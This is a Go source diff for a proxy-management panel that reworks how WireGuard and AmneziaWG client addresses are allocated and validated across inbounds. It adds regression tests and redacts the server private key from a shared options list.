+ t.Helper()
+ svc := &ClientService{}
+
+ wgClient := model.Client{Email: email, SubID: "sub-" + email, Enable: true, AllowedIPs: []string{wgAddr}}
+ wgIb = mkInbound(t, 51820, model.WireGuard, clientsSettings(t, []model.Client{wgClient}))
+ if err := svc.SyncInbound(nil, wgIb.Id, []model.Client{wgClient}); err != nil {
+ t.Fatalf("seed wg linkage: %v", err)
+ }
+
+ awgClient := model.Client{Email: email, SubID: "sub-" + email, Enable: true, AllowedIPs: []string{awgAddr}}
+ awgIb = mkInbound(t, 443, model.AmneziaWG, clientsSettings(t, []model.Client{awgClient}))
+ if err := svc.SyncInbound(nil, awgIb.Id, []model.Client{awgClient}); err != nil {
+ t.Fatalf("seed awg linkage: %v", err)
+ }
+
+ recordId = lookupClientRecord(t, email).Id
+ return wgIb, awgIb, recordId
+}
+
+func inboundAllowedIPs(t *testing.T, inboundSvc *InboundService, ibId int, email string) []string {
+ t.Helper()
+ ib, err := inboundSvc.GetInbound(ibId)
+ if err != nil {
+ t.Fatalf("GetInbound %d: %v", ibId, err)
+ }
+ clients, err := inboundSvc.GetClients(ib)
+ if err != nil {
+ t.Fatalf("GetClients %d: %v", ibId, err)
+ }
+ for i := range clients {
+ if clients[i].Email == email {
+ return clients[i].AllowedIPs
+ }
+ }
+ t.Fatalf("email %q not found on inbound %d", email, ibId)
+ return nil
+}
+
+// TestUpdateBroadcastAllowedIPsDoesNotOverwriteOtherInboundWhenMismatched is a
+// regression test for the same bug class already fixed for Attach
+// (addressesFitAmneziaWGInbound), but on the far more common Update path: the
+// edit-client form sends one shared AllowedIPs value, and Update's per-inbound
+// loop used to broadcast it verbatim to every attached inbound, including one
+// it doesn't belong to. A client attached to both wg (10.0.0.5/32) and awg
+// (10.8.1.5/32) saving with the wg-labeled value as the single shared field
+// must not silently overwrite the awg inbound's own, unrelated address.
+func TestUpdateBroadcastAllowedIPsDoesNotOverwriteOtherInboundWhenMismatched(t *testing.T) {
+ setupBulkDB(t)
+ inboundSvc := &InboundService{}
+ svc := &ClientService{}
+
+ wgIb, awgIb, recId := seedDualProtocolClient(t, "dual@x", "10.0.0.5/32", "10.8.1.5/32")
+
+ updated := model.Client{Email: "dual@x", Enable: true, AllowedIPs: []string{"10.0.0.5/32"}}
+ if _, err := svc.Update(inboundSvc, recId, updated, 0); err != nil {
+ t.Fatalf("Update: %v", err)
+ }
+
+ if got := inboundAllowedIPs(t, inboundSvc, wgIb.Id, "dual@x"); len(got) != 1 || got[0] != "10.0.0.5/32" {
+ t.Fatalf("wg AllowedIPs = %v, want [10.0.0.5/32]", got)
+ }
+ if got := inboundAllowedIPs(t, inboundSvc, awgIb.Id, "dual@x"); len(got) != 1 || got[0] != "10.8.1.5/32" {
+ t.Fatalf("the real bug: awg AllowedIPs = %v, want unchanged [10.8.1.5/32] (must not inherit the wg-labeled shared value)", got)
+ }
+}
+
+// TestUpdateAllowedIPsByInboundAppliesDistinctValuesPerInbound covers the new
+// mechanism the two-field client-edit form uses to intentionally change both
+// addresses in one save: distinct, valid, per-inbound override values must
+// each land on their own inbound.
+func TestUpdateAllowedIPsByInboundAppliesDistinctValuesPerInbound(t *testing.T) {
+ setupBulkDB(t)
+ inboundSvc := &InboundService{}
+ svc := &ClientService{}
+
+ wgIb, awgIb, recId := seedDualProtocolClient(t, "dual@x", "10.0.0.5/32", "10.8.1.5/32")
+
+ updated := model.Client{
+ Email: "dual@x",
+ Enable: true,
+ AllowedIPsByInbound: map[int][]string{
+ wgIb.Id: {"10.0.0.9/32"},
+ awgIb.Id: {"10.8.1.9/32"},
+ },
+ }
+ if _, err := svc.Update(inboundSvc, recId, updated, 0); err != nil {
+ t.Fatalf("Update: %v", err)
+ }
+
+ if got := inboundAllowedIPs(t, inboundSvc, wgIb.Id, "dual@x"); len(got) != 1 || got[0] != "10.0.0.9/32" {
+ t.Fatalf("wg AllowedIPs = %v, want [10.0.0.9/32]", got)
+ }
+ if got := inboundAllowedIPs(t, inboundSvc, awgIb.Id, "dual@x"); len(got) != 1 || got[0] != "10.8.1.9/32" {
+ t.Fatalf("awg AllowedIPs = %v, want [10.8.1.9/32]", got)
+ }
+}
+
+// TestCreateSharedAllowedIPsThatDontFitAmneziaWGGetsFreshAllocation is
+// Create's counterpart to the Update regression above: adding a brand-new
+// client to both wg and awg inbounds at once with a single manually-typed
+// address must not hand the awg inbound an address from the wrong subnet --
+// it must fall back to auto-allocating a real, correctly-scoped address
+// instead, exactly as if AllowedIPs had been left empty for that inbound.
+func TestCreateSharedAllowedIPsThatDontFitAmneziaWGGetsFreshAllocation(t *testing.T) {
+ setupBulkDB(t)
+ inboundSvc := &InboundService{}
+ svc := &ClientService{}
+
+ wgIb := mkInbound(t, 51820, model.WireGuard, wgServerSettings())
+ awgIb := mkInbound(t, 443, model.AmneziaWG, amneziawgClientTestSettings)
+
+ payload := &ClientCreatePayload{
+ Client: model.Client{Email: "new@x", Enable: true, AllowedIPs: []string{"10.0.0.7/32"}},
+ InboundIds: []int{wgIb.Id, awgIb.Id},
+ }
+ if _, err := svc.Create(inboundSvc, payload); err != nil {
+ t.Fatalf("Create: %v", err)
+ }
+
+ if got := inboundAllowedIPs(t, inboundSvc, wgIb.Id, "new@x"); len(got) != 1 || got[0] != "10.0.0.7/32" {
+ t.Fatalf("wg AllowedIPs = %v, want [10.0.0.7/32]", got)
+ }
+ got := inboundAllowedIPs(t, inboundSvc, awgIb.Id, "new@x")
+ if len(got) != 1 {
+ t.Fatalf("awg AllowedIPs = %v, want exactly one freshly allocated address", got)
+ }
+ if got[0] == "10.0.0.7/32" {
+ t.Fatal("the real bug: awg inbound inherited the wg-shaped shared address instead of allocating its own")
+ }
+ if !addressesFitAmneziaWGInbound(got, awgIb) {
+ t.Fatalf("freshly allocated awg address %v does not actually fit the awg inbound's own subnet", got)
+ }
+}
+
+// TestCreateAllowedIPsByInboundAppliesDistinctValuesPerInbound is Create's
+// counterpart to the Update explicit-override test: the add-client form,
+// when attaching to both wg and awg at once with the two-field UI, must be
+// able to give each inbound its own manually chosen address in one call.
+func TestCreateAllowedIPsByInboundAppliesDistinctValuesPerInbound(t *testing.T) {
+ setupBulkDB(t)
+ inboundSvc := &InboundService{}
+ svc := &ClientService{}
+
+ wgIb := mkInbound(t, 51820, model.WireGuard, wgServerSettings())
+ awgIb := mkInbound(t, 443, model.AmneziaWG, amneziawgClientTestSettings)
+
+ payload := &ClientCreatePayload{
+ Client: model.Client{
+ Email: "new@x",
+ Enable: true,
+ AllowedIPsByInbound: map[int][]string{
+ wgIb.Id: {"10.0.0.9/32"},
+ awgIb.Id: {"10.8.1.9/32"},
+ },
+ },
+ InboundIds: []int{wgIb.Id, awgIb.Id},
+ }
+ if _, err := svc.Create(inboundSvc, payload); err != nil {
+ t.Fatalf("Create: %v", err)
+ }
+
+ if got := inboundAllowedIPs(t, inboundSvc, wgIb.Id, "new@x"); len(got) != 1 || got[0] != "10.0.0.9/32" {
+ t.Fatalf("wg AllowedIPs = %v, want [10.0.0.9/32]", got)
+ }
+ if got := inboundAllowedIPs(t, inboundSvc, awgIb.Id, "new@x"); len(got) != 1 || got[0] != "10.8.1.9/32" {
+ t.Fatalf("awg AllowedIPs = %v, want [10.8.1.9/32]", got)
+ }
+}
+
+// TestTunnelAllowedIPsByInbound covers the GET-client read side: a two-field
+// display needs the real, distinct per-inbound address for each protocol,
+// which ClientRecord's own single AllowedIPs column cannot represent.
+func TestTunnelAllowedIPsByInbound(t *testing.T) {
+ setupBulkDB(t)
+ inboundSvc := &InboundService{}
+ svc := &ClientService{}
+
+ wgIb, awgIb, _ := seedDualProtocolClient(t, "dual@x", "10.0.0.5/32", "10.8.1.5/32")
+ vlessIb := mkInbound(t, 8443, model.VLESS, clientsSettings(t, nil))
+
+ got, err := svc.TunnelAllowedIPsByInbound(inboundSvc, "dual@x", []int{wgIb.Id, awgIb.Id, vlessIb.Id, 999999})
+ if err != nil {
+ t.Fatalf("TunnelAllowedIPsByInbound: %v", err)
+ }
+ if len(got) != 2 {
+ t.Fatalf("result = %v, want exactly 2 entries (vless and the nonexistent id must be skipped)", got)
+ }
+ if got[wgIb.Id] != "10.0.0.5/32" {
+ t.Fatalf("wg entry = %q, want 10.0.0.5/32", got[wgIb.Id])
+ }
+ if got[awgIb.Id] != "10.8.1.5/32" {
+ t.Fatalf("awg entry = %q, want 10.8.1.5/32", got[awgIb.Id])
+ }
+ if _, ok := got[vlessIb.Id]; ok {
+ t.Fatalf("a non-tunnel (VLESS) inbound must not appear in the result")
+ }
+ if _, ok := got[999999]; ok {
+ t.Fatalf("a nonexistent inbound id must not appear in the result")
+ }
+}
diff --git a/internal/web/service/client_wireguard.go b/internal/web/service/client_wireguard.go
index afa4b8688..67c555f71 100644
--- a/internal/web/service/client_wireguard.go
+++ b/internal/web/service/client_wireguard.go
@@ -1,6 +1,8 @@
package service
import (
+ "encoding/json"
+ "fmt"
"net/netip"
"strconv"
"strings"
@@ -12,6 +14,41 @@ import (
const defaultWireguardBase = "10.0.0.0/24"
+// wireguardSubnetSettings is the subset of a WireGuard inbound's top-level
+// settings JSON this package cares about for subnet resolution. Unlike
+// AmneziaWG (whose whole settings shape is a typed struct in
+// internal/amneziawg), plain WireGuard has no dedicated Go struct on this
+// fork's side at all -- everything else is handled as untyped
+// map[string]any -- so this stays a narrow, local decode rather than
+// introducing a full struct just for two fields.
+type wireguardSubnetSettings struct {
+ SubnetIP string `json:"subnetIp"`
+ SubnetCIDR int `json:"subnetCidr"`
+}
+
+// explicitWireguardSubnetBase resolves an admin-configured subnet base out
+// of settingsJSON's own subnetIp/subnetCidr fields, mirroring AmneziaWG's
+// defaultAmneziaWGSubnetBases. Returns "" when either field is unset/empty
+// or doesn't parse as a valid prefix -- callers fall back to
+// wireguardAllocationBase's existing infer-from-clients behavior in that
+// case, so an inbound saved before this field existed (or one that simply
+// never set it) keeps behaving exactly as it always has.
+func explicitWireguardSubnetBase(settingsJSON string) string {
+ var parsed wireguardSubnetSettings
+ if err := json.Unmarshal([]byte(settingsJSON), &parsed); err != nil {
+ return ""
+ }
+ ip := strings.TrimSpace(parsed.SubnetIP)
+ if ip == "" || parsed.SubnetCIDR <= 0 {
+ return ""
+ }
+ base := fmt.Sprintf("%s/%d", ip, parsed.SubnetCIDR)
+ if _, err := netip.ParsePrefix(base); err != nil {
+ return ""
+ }
+ return base
+}
+
func keepAliveStr(seconds int) string {
if seconds <= 0 {
return ""
@@ -48,7 +85,14 @@ func wireguardAllocationBase(used []string, fallback string) string {
const wireguardPoolFloorBits = 16
-func allocateWireguardAddress(used []string, base string) (string, error) {
+// allocateWireguardAddress returns the first free single-host address in base
+// not already in used, starting at the second host (the server holds the first).
+//
+// allowWidening retries in the containing /16 once base's pool is exhausted.
+// True for Xray-native WireGuard, whose AllowedIPs aren't tied to a kernel
+// interface subnet; AmneziaWG must pass false and fail loudly instead, since an
+// address outside its interface's own Address would be silently unroutable.
+func allocateWireguardAddress(used []string, base string, allowWidening bool) (string, error) {
if base == "" {
base = defaultWireguardBase
}
@@ -56,6 +100,10 @@ func allocateWireguardAddress(used []string, base string) (string, error) {
if err != nil {
return "", err
}
+ hostBits := "32"
+ if prefix.Addr().Is6() {
+ hostBits = "128"
+ }
taken := make(map[netip.Addr]struct{}, len(used))
for _, u := range used {
if a := wireguardHostAddr(u); a.IsValid() {
@@ -63,7 +111,7 @@ func allocateWireguardAddress(used []string, base string) (string, error) {
}
}
scopes := []netip.Prefix{prefix}
- if prefix.Addr().Is4() && prefix.Bits() > wireguardPoolFloorBits {
+ if allowWidening && prefix.Addr().Is4() && prefix.Bits() > wireguardPoolFloorBits {
if wider, wErr := prefix.Addr().Prefix(wireguardPoolFloorBits); wErr == nil {
scopes = append(scopes, wider)
}
@@ -72,7 +120,7 @@ func allocateWireguardAddress(used []string, base string) (string, error) {
addr := scope.Masked().Addr().Next().Next()
for scope.Contains(addr) {
if _, ok := taken[addr]; !ok {
- return addr.String() + "/32", nil
+ return addr.String() + "/" + hostBits, nil
}
addr = addr.Next()
}
@@ -127,12 +175,32 @@ func wireguardAllowedIPsCollision(entries, used []string) string {
// inbound's subnet. It mutates both the typed clients and the parallel raw client
// maps that get persisted into the inbound settings. Existing values are never
// overwritten, so editing a client never rotates its keys.
-func defaultWireguardClients(existing, clients []model.Client, interfaceClients []any) error {
+//
+// crossInboundUsed maps AllowedIPs already claimed by clients on every OTHER
+// WireGuard/AmneziaWG inbound on this panel to a human-readable description
+// of which inbound holds it (see otherTunnelAllowedIPs). It is folded into
+// used only AFTER the base subnet is resolved, so an unrelated inbound's
+// subnet can never skew this inbound's own base-subnet resolution — it only
+// ever narrows which addresses are free to hand out or accept, and lets a
+// manual-entry collision name the other inbound instead of just the address.
+//
+// settingsJSON is checked first for an admin-configured subnetIp/subnetCidr
+// (see explicitWireguardSubnetBase) — set explicitly, that always wins.
+// Only when it's unset does base fall back to inferring from existing
+// clients' own addresses, and finally to defaultWireguardBase, exactly as
+// before this field existed.
+func defaultWireguardClients(settingsJSON string, existing, clients []model.Client, interfaceClients []any, crossInboundUsed map[string]string) error {
used := make([]string, 0)
for i := range existing {
used = append(used, existing[i].AllowedIPs...)
}
- base := wireguardAllocationBase(used, defaultWireguardBase)
+ base := explicitWireguardSubnetBase(settingsJSON)
+ if base == "" {
+ base = wireguardAllocationBase(used, defaultWireguardBase)
+ }
+ for addr := range crossInboundUsed {
+ used = append(used, addr)
+ }
for i := range clients {
c := &clients[i]
if c.PrivateKey == "" && c.PublicKey == "" {
@@ -150,7 +218,7 @@ func defaultWireguardClients(existing, clients []model.Client, interfaceClients
c.PublicKey = pub
}
if len(c.AllowedIPs) == 0 {
- addr, err := allocateWireguardAddress(used, base)
+ addr, err := allocateWireguardAddress(used, base, true)
if err != nil {
return err
}
@@ -164,6 +232,9 @@ func defaultWireguardClients(existing, clients []model.Client, interfaceClients
return common.NewError("wireguard: allowedIPs has no usable entry")
}
if hit := wireguardAllowedIPsCollision(normalized, used); hit != "" {
+ if where := crossInboundUsed[hit]; where != "" {
+ return common.NewError("wireguard: allowedIPs entry", hit, "is already used by a client on", where)
+ }
return common.NewError("wireguard: allowedIPs entry already used by another client:", hit)
}
c.AllowedIPs = normalized
diff --git a/internal/web/service/client_wireguard_test.go b/internal/web/service/client_wireguard_test.go
index 336688d18..04ebff340 100644
--- a/internal/web/service/client_wireguard_test.go
+++ b/internal/web/service/client_wireguard_test.go
@@ -2,6 +2,7 @@ package service
import (
"fmt"
+ "strings"
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
@@ -26,7 +27,7 @@ func TestAllocateWireguardAddress(t *testing.T) {
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
- got, err := allocateWireguardAddress(tt.used, tt.base)
+ got, err := allocateWireguardAddress(tt.used, tt.base, true)
if tt.err {
if err == nil {
t.Fatalf("expected error, got %q", got)
@@ -46,7 +47,7 @@ func TestAllocateWireguardAddress(t *testing.T) {
func TestDefaultWireguardClientsGeneratesKeypair(t *testing.T) {
clients := []model.Client{{Email: "a@wg"}}
ifaces := []any{map[string]any{"email": "a@wg"}}
- if err := defaultWireguardClients(nil, clients, ifaces); err != nil {
+ if err := defaultWireguardClients("", nil, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
c := clients[0]
@@ -73,7 +74,7 @@ func TestDefaultWireguardClientsDerivesPublicKey(t *testing.T) {
}
clients := []model.Client{{Email: "b@wg", PrivateKey: priv}}
ifaces := []any{map[string]any{"email": "b@wg"}}
- if err := defaultWireguardClients(nil, clients, ifaces); err != nil {
+ if err := defaultWireguardClients("", nil, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if clients[0].PublicKey != wantPub {
@@ -89,7 +90,7 @@ func TestDefaultWireguardClientsPreservesProvided(t *testing.T) {
AllowedIPs: []string{"10.0.0.50/32"},
}}
ifaces := []any{map[string]any{"email": "c@wg"}}
- if err := defaultWireguardClients(nil, clients, ifaces); err != nil {
+ if err := defaultWireguardClients("", nil, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if clients[0].PrivateKey != "keep-priv" || clients[0].PublicKey != "keep-pub" {
@@ -124,7 +125,7 @@ func TestDefaultWireguardClientsHonorsExistingSubnet(t *testing.T) {
existing := []model.Client{{Email: "old@wg", AllowedIPs: []string{"172.16.0.2/32"}}}
clients := []model.Client{{Email: "new@wg"}}
ifaces := []any{map[string]any{"email": "new@wg"}}
- if err := defaultWireguardClients(existing, clients, ifaces); err != nil {
+ if err := defaultWireguardClients("", existing, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if got := clients[0].AllowedIPs[0]; got != "172.16.0.3/32" {
@@ -138,7 +139,7 @@ func TestAllocateWireguardAddressWidensPastFullSlash24(t *testing.T) {
used = append(used, fmt.Sprintf("10.0.0.%d/32", i))
}
- got, err := allocateWireguardAddress(used, "10.0.0.0/24")
+ got, err := allocateWireguardAddress(used, "10.0.0.0/24", true)
if err != nil {
t.Fatalf("allocate with a full /24: %v", err)
}
@@ -147,7 +148,7 @@ func TestAllocateWireguardAddressWidensPastFullSlash24(t *testing.T) {
}
used = append(used, got)
- next, err := allocateWireguardAddress(used, "10.0.0.0/24")
+ next, err := allocateWireguardAddress(used, "10.0.0.0/24", true)
if err != nil {
t.Fatalf("allocate after widening: %v", err)
}
@@ -157,7 +158,7 @@ func TestAllocateWireguardAddressWidensPastFullSlash24(t *testing.T) {
}
func TestAllocateWireguardAddressFillsItsOwnSlash24First(t *testing.T) {
- got, err := allocateWireguardAddress([]string{"172.16.0.2/32"}, "172.16.0.0/24")
+ got, err := allocateWireguardAddress([]string{"172.16.0.2/32"}, "172.16.0.0/24", true)
if err != nil {
t.Fatalf("allocateWireguardAddress: %v", err)
}
@@ -166,10 +167,23 @@ func TestAllocateWireguardAddressFillsItsOwnSlash24First(t *testing.T) {
}
}
+func TestAllocateWireguardAddressNoWideningFailsWhenPoolExhausted(t *testing.T) {
+ used := make([]string, 0, 254)
+ for i := 2; i <= 255; i++ {
+ used = append(used, fmt.Sprintf("10.0.0.%d/32", i))
+ }
+ // allowWidening=false: AmneziaWG's own call. A full /24 must fail loudly
+ // instead of handing out an address from the containing /16 that the
+ // kernel interface's own Address never routes (PR #6105 Finding 12).
+ if _, err := allocateWireguardAddress(used, "10.0.0.0/24", false); err == nil {
+ t.Fatal("a full /24 with widening disabled must fail, not widen")
+ }
+}
+
func TestDefaultWireguardClientsAllocatesDistinctIPs(t *testing.T) {
clients := []model.Client{{Email: "x@wg"}, {Email: "y@wg"}}
ifaces := []any{map[string]any{"email": "x@wg"}, map[string]any{"email": "y@wg"}}
- if err := defaultWireguardClients(nil, clients, ifaces); err != nil {
+ if err := defaultWireguardClients("", nil, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if clients[0].AllowedIPs[0] == clients[1].AllowedIPs[0] {
@@ -222,7 +236,7 @@ func TestDefaultWireguardClientsHonorsAndValidatesSuppliedAllowedIPs(t *testing.
clients := []model.Client{{Email: "c@wg", AllowedIPs: []string{"10.0.0.9"}}}
ifaces := []any{map[string]any{"email": "c@wg"}}
- if err := defaultWireguardClients(existing, clients, ifaces); err != nil {
+ if err := defaultWireguardClients("", existing, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if len(clients[0].AllowedIPs) != 1 || clients[0].AllowedIPs[0] != "10.0.0.9/32" {
@@ -230,13 +244,121 @@ func TestDefaultWireguardClientsHonorsAndValidatesSuppliedAllowedIPs(t *testing.
}
dup := []model.Client{{Email: "d@wg", AllowedIPs: []string{"10.0.0.2/32"}}}
- err := defaultWireguardClients(existing, dup, []any{map[string]any{"email": "d@wg"}})
+ err := defaultWireguardClients("", existing, dup, []any{map[string]any{"email": "d@wg"}}, nil)
if err == nil {
t.Fatal("duplicate allowedIPs across clients must be rejected")
}
bad := []model.Client{{Email: "e@wg", AllowedIPs: []string{"not-an-ip"}}}
- if err := defaultWireguardClients(existing, bad, []any{map[string]any{"email": "e@wg"}}); err == nil {
+ if err := defaultWireguardClients("", existing, bad, []any{map[string]any{"email": "e@wg"}}, nil); err == nil {
t.Fatal("invalid allowedIPs entry must be rejected")
}
}
+
+// A duplicate manually-typed address is rejected even when the OTHER holder
+// lives on a completely different inbound (e.g. a WireGuard client and an
+// AmneziaWG peer given the same address by habit) -- this is the exact
+// real-world scenario that motivated crossInboundUsed: two inbounds sharing
+// a subnet must not be able to silently hand out or accept the same address.
+func TestDefaultWireguardClientsRejectsCrossInboundDuplicate(t *testing.T) {
+ crossUsed := map[string]string{"10.8.1.21/32": "inbound 'awg' (#10)"}
+ dup := []model.Client{{Email: "d@wg", AllowedIPs: []string{"10.8.1.21/32"}}}
+ err := defaultWireguardClients("", nil, dup, []any{map[string]any{"email": "d@wg"}}, crossUsed)
+ if err == nil {
+ t.Fatal("allowedIPs already used on another inbound must be rejected")
+ }
+ if !strings.Contains(err.Error(), "inbound 'awg' (#10)") {
+ t.Fatalf("error should name the other inbound holding the address, got: %v", err)
+ }
+}
+
+// Auto-allocation (no AllowedIPs supplied) must also skip addresses already
+// claimed on another inbound, not just ones used on this one.
+func TestDefaultWireguardClientsAutoAllocateSkipsCrossInboundUsed(t *testing.T) {
+ crossUsed := map[string]string{"10.0.0.2/32": "inbound 'other-wg' (#7)"}
+ clients := []model.Client{{Email: "f@wg"}}
+ ifaces := []any{map[string]any{"email": "f@wg"}}
+ if err := defaultWireguardClients("", nil, clients, ifaces, crossUsed); err != nil {
+ t.Fatalf("defaultWireguardClients: %v", err)
+ }
+ if clients[0].AllowedIPs[0] != "10.0.0.3/32" {
+ t.Fatalf("auto-allocation should skip the cross-inbound-used .2 and pick .3, got %v", clients[0].AllowedIPs)
+ }
+}
+
+// crossInboundUsed must never influence which subnet THIS inbound's own new
+// clients get allocated from -- only existing (this inbound's own clients)
+// may do that. Otherwise a brand-new WireGuard inbound on a panel that
+// already has an unrelated AmneziaWG inbound would infer the wrong base
+// subnet purely from the other inbound's addresses.
+func TestDefaultWireguardClientsCrossInboundUsedDoesNotSkewSubnetInference(t *testing.T) {
+ crossUsed := map[string]string{"10.8.1.21/32": "inbound 'awg' (#10)"}
+ clients := []model.Client{{Email: "g@wg"}}
+ ifaces := []any{map[string]any{"email": "g@wg"}}
+ if err := defaultWireguardClients("", nil, clients, ifaces, crossUsed); err != nil {
+ t.Fatalf("defaultWireguardClients: %v", err)
+ }
+ if got := clients[0].AllowedIPs[0]; got != "10.0.0.2/32" {
+ t.Fatalf("base subnet must stay the default 10.0.0.0/24, not be skewed by a cross-inbound address; got %v", got)
+ }
+}
+
+func TestExplicitWireguardSubnetBase(t *testing.T) {
+ tests := []struct {
+ name string
+ settingsJSON string
+ want string
+ }{
+ {name: "unset settings", settingsJSON: `{"secretKey":"x"}`, want: ""},
+ {name: "empty subnetIp", settingsJSON: `{"subnetIp":"","subnetCidr":24}`, want: ""},
+ {name: "zero cidr", settingsJSON: `{"subnetIp":"10.8.1.0","subnetCidr":0}`, want: ""},
+ {name: "invalid ip", settingsJSON: `{"subnetIp":"not-an-ip","subnetCidr":24}`, want: ""},
+ {name: "invalid json", settingsJSON: `not json`, want: ""},
+ {name: "configured subnet", settingsJSON: `{"subnetIp":"10.8.1.0","subnetCidr":24}`, want: "10.8.1.0/24"},
+ }
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ if got := explicitWireguardSubnetBase(tt.settingsJSON); got != tt.want {
+ t.Fatalf("got %q, want %q", got, tt.want)
+ }
+ })
+ }
+}
+
+// TestDefaultWireguardClientsPrefersExplicitSubnetOverInference is the
+// backend half of a user-requested feature: WireGuard previously had no
+// admin-configurable subnet at all, only an implicit one (inferred from
+// existing clients' own addresses, or a hardcoded 10.0.0.0/24 fallback when
+// none exist yet) -- unlike AmneziaWG, which has always had a real
+// server.subnetIp/subnetCidr field. An explicit subnetIp/subnetCidr in the
+// inbound's own settings must now win outright, even when existing clients
+// would otherwise suggest a different base via wireguardAllocationBase.
+func TestDefaultWireguardClientsPrefersExplicitSubnetOverInference(t *testing.T) {
+ existing := []model.Client{{Email: "old@wg", AllowedIPs: []string{"172.16.0.2/32"}}}
+ clients := []model.Client{{Email: "new@wg"}}
+ ifaces := []any{map[string]any{"email": "new@wg"}}
+ settingsJSON := `{"subnetIp":"10.8.1.0","subnetCidr":24}`
+ if err := defaultWireguardClients(settingsJSON, existing, clients, ifaces, nil); err != nil {
+ t.Fatalf("defaultWireguardClients: %v", err)
+ }
+ if got := clients[0].AllowedIPs[0]; got != "10.8.1.2/32" {
+ t.Fatalf("explicit subnet must win over inference from existing clients (172.16.0.0/24); got %v", got)
+ }
+}
+
+// TestDefaultWireguardClientsFallsBackWhenNoExplicitSubnet locks in the
+// backward-compat half of the same feature: an inbound saved before this
+// field existed (settingsJSON carries no subnetIp/subnetCidr at all) must
+// keep allocating exactly as it always has.
+func TestDefaultWireguardClientsFallsBackWhenNoExplicitSubnet(t *testing.T) {
+ existing := []model.Client{{Email: "old@wg", AllowedIPs: []string{"172.16.0.2/32"}}}
+ clients := []model.Client{{Email: "new@wg"}}
+ ifaces := []any{map[string]any{"email": "new@wg"}}
+ settingsJSON := `{"secretKey":"x","peers":[],"clients":[]}`
+ if err := defaultWireguardClients(settingsJSON, existing, clients, ifaces, nil); err != nil {
+ t.Fatalf("defaultWireguardClients: %v", err)
+ }
+ if got := clients[0].AllowedIPs[0]; got != "172.16.0.3/32" {
+ t.Fatalf("with no explicit subnet, inference from existing clients must still apply; got %v", got)
+ }
+}
diff --git a/internal/web/service/inbound.go b/internal/web/service/inbound.go
index b4d934c8d..7bd62b125 100644
--- a/internal/web/service/inbound.go
+++ b/internal/web/service/inbound.go
@@ -16,6 +16,8 @@ import (
"github.com/google/uuid"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -314,6 +316,10 @@ type InboundOption struct {
WgMtu int `json:"wgMtu,omitempty"`
WgDns string `json:"wgDns,omitempty"`
MtprotoDomain string `json:"mtprotoDomain,omitempty"`
+ // AwgServer carries the full AmneziaWG server block (keys, subnet,
+ // obfuscation params) so the clients page can render a downloadable
+ // per-client .conf without a second round trip.
+ AwgServer *amneziawg.ServerSettings `json:"awgServer,omitempty"`
// Hosting node; nil for this panel's own inbounds. Lets the clients
// page map a node filter onto inbound IDs (#4997).
NodeId *int `json:"nodeId,omitempty"`
@@ -376,6 +382,7 @@ func (s *InboundService) GetInboundOptions(userId int) ([]InboundOption, error)
WgMtu: wgMtu,
WgDns: wgDns,
MtprotoDomain: inboundMtprotoDomain(r.Protocol, r.Settings),
+ AwgServer: inboundAmneziaWGServer(r.Protocol, r.Settings),
NodeId: r.NodeId,
NodeAddress: r.NodeAddress,
Listen: r.Listen,
@@ -412,6 +419,26 @@ func inboundWireguardHints(protocol string, settings string) (string, int, strin
return publicKey, parsed.MTU, parsed.DNS
}
+// inboundAmneziaWGServer returns the AmneziaWG server block for the clients
+// page's config-download builder, or nil when the inbound isn't AmneziaWG or
+// its settings don't parse. PrivateKey is redacted: GetInboundOptions is a
+// shared, admin-wide list used to fill dropdowns, not a place a live tunnel
+// secret needs to travel — the frontend's own AwgServerOptionSchema never
+// reads it, so nothing is lost by not sending it, and it shouldn't widen the
+// blast radius of a log capture, proxy cache, or browser devtools screenshot.
+func inboundAmneziaWGServer(protocol string, settings string) *amneziawg.ServerSettings {
+ if protocol != string(model.AmneziaWG) || strings.TrimSpace(settings) == "" {
+ return nil
+ }
+ var parsed amneziawg.InboundSettings
+ if err := json.Unmarshal([]byte(settings), &parsed); err != nil || parsed.Server == nil {
+ return nil
+ }
+ redacted := *parsed.Server
+ redacted.PrivateKey = ""
+ return &redacted
+}
+
// inboundMtprotoDomain returns the inbound-level FakeTLS default domain, used by
// the clients UI to seed a new mtproto client's secret with the right fronting
// hostname.
@@ -929,6 +956,12 @@ func (s *InboundService) AddInbound(inbound *model.Inbound) (*model.Inbound, boo
if err := s.normalizeMtprotoXrayPort(inbound, ""); err != nil {
return inbound, false, err
}
+ if err := s.normalizeAmneziaWGSettings(inbound); err != nil {
+ return inbound, false, err
+ }
+ if inbound.NodeID != nil && !isNodeEligibleProtocol(inbound.Protocol) {
+ return inbound, false, common.NewErrorf("%s inbounds cannot be assigned to a node", inbound.Protocol)
+ }
inbound.SubSortIndex = normalizeSubSortIndex(inbound.SubSortIndex)
if err := normalizeInboundShareAddressStrict(inbound); err != nil {
return inbound, false, err
@@ -1006,7 +1039,7 @@ func (s *InboundService) AddInbound(inbound *model.Inbound) (*model.Inbound, boo
if client.Auth == "" {
return inbound, false, common.NewError("empty client ID")
}
- case "wireguard":
+ case "wireguard", "amneziawg":
if client.PublicKey == "" {
return inbound, false, common.NewError("wireguard client requires a key")
}
@@ -1038,6 +1071,21 @@ func (s *InboundService) AddInbound(inbound *model.Inbound) (*model.Inbound, boo
if err := tx.Omit("ClientStats").Save(inbound).Error; err != nil {
return err
}
+ // The relay port is derived from the id, only known after Save; checkPortConflictTx
+ // ran the reverse-direction check above with ignoreId==0, so it couldn't yet.
+ if inbound.Protocol == model.AmneziaWG {
+ if amneziawgnet.SOCKSPortForInbound(inbound.Id) > 65535 {
+ return common.NewErrorf("amneziawg: inbound id %d exceeds the relay port window (ids above %d are not supported)",
+ inbound.Id, 65535-amneziawgnet.SOCKSBasePort)
+ }
